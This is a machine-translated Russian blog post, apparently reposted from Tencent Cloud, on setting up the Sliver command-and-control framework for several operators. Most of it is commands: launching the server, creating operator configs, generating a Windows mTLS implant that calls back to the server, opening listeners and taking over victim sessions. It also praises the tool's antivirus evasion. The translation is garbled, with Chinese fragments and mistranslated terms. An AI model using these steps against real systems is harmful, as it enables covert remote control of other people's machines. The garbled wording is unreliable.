Щепка C2 от входа до сути
Щепка C2 от входа до сути

В предыдущей статье,мы говорили оSliverИспользование рамок。Если это однопользовательский режим,Нам достаточно играть на стороне сервера。ноSliverэто поддержкаC2структурный(То есть сервер и клиент)。Давайте изучим эту статью вместе!Примечание. Эта статья предназначена только для изучения и исследования, не используйте ее незаконно.

SliverПроект учитывает многопользовательскую и многоплатформенную генерацию.Shell。

Экспериментальная среда

  • Sliver Server (192.168.123.23)
  • Sliver Client (192.168.123.74)
  • Целевой дрон (192.168.123.129) Настроить сервер В предыдущей статье мы уже примерно разобрались с установкой и запуском сервера. Из-за проблем с сетью рекомендуется загрузить скомпилированный файл напрямую.

Запустить сервер

Язык кода:javascript
копировать
./sliver-server_linux

Если вы одиночный пользователь, на этом установка завершена, и вы можете напрямую выполнять соответствующие команды в терминале. Но если существует сотрудничество с несколькими клиентами, необходимы следующие шаги.

Создать файл конфигурации клиента
Язык кода:javascript
копировать
new-operator --name Dabiaoge --lhost IP сервера сервера #Создаем нового клиента
multiplayer #Включить многопользовательский режим

В это время,Будет создан файл конфигурации клиента./root/tool/Dabiaoge_192.168.123.23.cfg,Здесь я создал только одного пользователя,Если есть несколько пользователей,ИсправлятьnameСтоимость。Следует отметить, что,serverПорт прослушивания по умолчанию31337。如果要Исправлять的话 vim ~/.sliver/configs/server.json

Конфигурация установки Sliver Client

Здесь для удобства,Мы по-прежнему используем скомпилированный напрямуюClient

Измените файл конфигурации, только что созданный сервером..cfgЗагрузить в клиент。

Импортировать файл конфигурации

Язык кода:javascript
копировать
./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg

На этом установка Sliver и настройка архитектуры C/S завершены.

создать оболочку

Формат команды следующий:

Язык кода:javascript
копировать
generate --mtls <Server IP> --save ./test.exe --os Windows

Детали команды:

--mtls:Протокол прослушивания(включатьhttp、mtls、grpc )

Включить мониторинг

Как и в предыдущем шаге, создаем оболочку所用的Протокол прослушивания为mtls,Итак, нам нужно настроитьmtlsТип мониторинга。

Выполнить команду в терминале

Язык кода:javascript
копировать
mtls

ВведяjobsЗаказ,Вы можете просмотреть включенный в данный момент мониторинг.

Порт по умолчанию8888 Если вы хотите указать порт, выполните команду

Язык кода:javascript
копировать
mtls -l 9999

Просмотрите сгенерированную оболочку

Язык кода:javascript
копировать
implants

После запуска оболочки и сервер, и клиент получат информацию о сеансе. В основном он включает идентификатор сеанса, IP-адрес внешней сети, имя хоста, платформу, время и т. д.

сеансовые операции

Язык кода:javascript
копировать
sessions -i id  #Вход в сессию
sessions -k id  #Завершить сеанс

После входа в сессию,ШуказуmsfКонсоль та же самая。проходитьhelpЗаказ,Мы можем получить соответствующие параметры выполнения.

Подвести итог

по моему мнению,SliverСамым большим преимуществом является то, что эффект предотвращения уничтожения намного лучше, чем у других фреймворков.。Играбельность также относительно высока.,Простота установки и кроссплатформенность. Но сгенерированная оболочка относительно велика.


Авторские права принадлежат: старшему двоюродному брату Сяояози.

Ссылка на эту статью:https://cloud.tencent.com/developer/article/2171683

Лицензия: Creative Commons Attribution-NonCommercial 4.0 International. Перепечатка цитируемых статей регулируется той же лицензией.

boy illustration
Spring boot интегрирует Kafka и реализует отправку и потребление информации (действительно при личном тестировании)
boy illustration
Мысли о решениях по внутренней реализации сортировки методом перетаскивания
boy illustration
Междоменный доступ к конфигурации nginx не может вступить в силу. Междоменный доступ к странице_Page
boy illustration
Как написать текстовый контент на php
boy illustration
PHP добавляет текстовый водяной знак или водяной знак изображения к изображениям – метод инкапсуляции
boy illustration
Интерпретация быстрой таблицы (TLB)
boy illustration
Интерфейс WeChat API (полный) — оплата WeChat/красный конверт WeChat/купон WeChat/магазин WeChat/JSAPI
boy illustration
Преобразование Java-объекта в json string_complex json-строки в объект
boy illustration
Примените сегментацию слов jieba (версия Java) и предоставьте пакет jar
boy illustration
matinal: Самый подробный анализ управления разрешениями во всей сети SAP. Все управление разрешениями находится здесь.
boy illustration
Коротко расскажу обо всем процессе работы алгоритма сборки мусора G1 --- Теоретическая часть -- Часть 1
boy illustration
[Спецификация] Результаты и исключения возврата интерфейса SpringBoot обрабатываются единообразно, поэтому инкапсуляция является элегантной.
boy illustration
Интерпретация каталога веб-проекта Flask
boy illustration
Что такое подробное объяснение файла WSDL_wsdl
boy illustration
Как запустить большую модель ИИ локально
boy illustration
Подведение итогов десяти самых популярных веб-фреймворков для Go
boy illustration
5 рекомендуемых проектов CMS с открытым исходным кодом на базе .Net Core
boy illustration
Java использует httpclient для отправки запросов HttpPost (отправка формы, загрузка файлов и передача данных Json)
boy illustration
Руководство по развертыванию Nginx в Linux (Centos)
boy illustration
Интервью с Alibaba по Java: можно ли использовать @Transactional и @Async вместе?
boy illustration
Облачный шлюз Spring реализует примеры балансировки нагрузки и проверки входа в систему.
boy illustration
Используйте Nginx для решения междоменных проблем
boy illustration
Произошла ошибка, когда сервер веб-сайта установил соединение с базой данных. WordPress предложил решение проблемы с установкой соединения с базой данных... [Легко понять]
boy illustration
Новый адрес java-библиотеки_16 топовых Java-проектов с открытым исходным кодом, достойных вашего внимания! Обязательно к просмотру новичкам
boy illustration
Лучшие практики Kubernetes для устранения несоответствий часовых поясов внутри контейнеров
boy illustration
Введение в проект удаления водяных знаков из коротких видео на GitHub Douyin_TikTok_Download_API
boy illustration
Весенние аннотации: подробное объяснение @Service!
boy illustration
Пожалуйста, не используйте foreach для пакетной вставки в MyBatis. Для 5000 фрагментов данных потребовалось 14 минут. .
boy illustration
Как создать проект Node.js с помощью npm?
boy illustration
Mybatis-plus использует typeHandler для преобразования объединенных строк String в списки списков.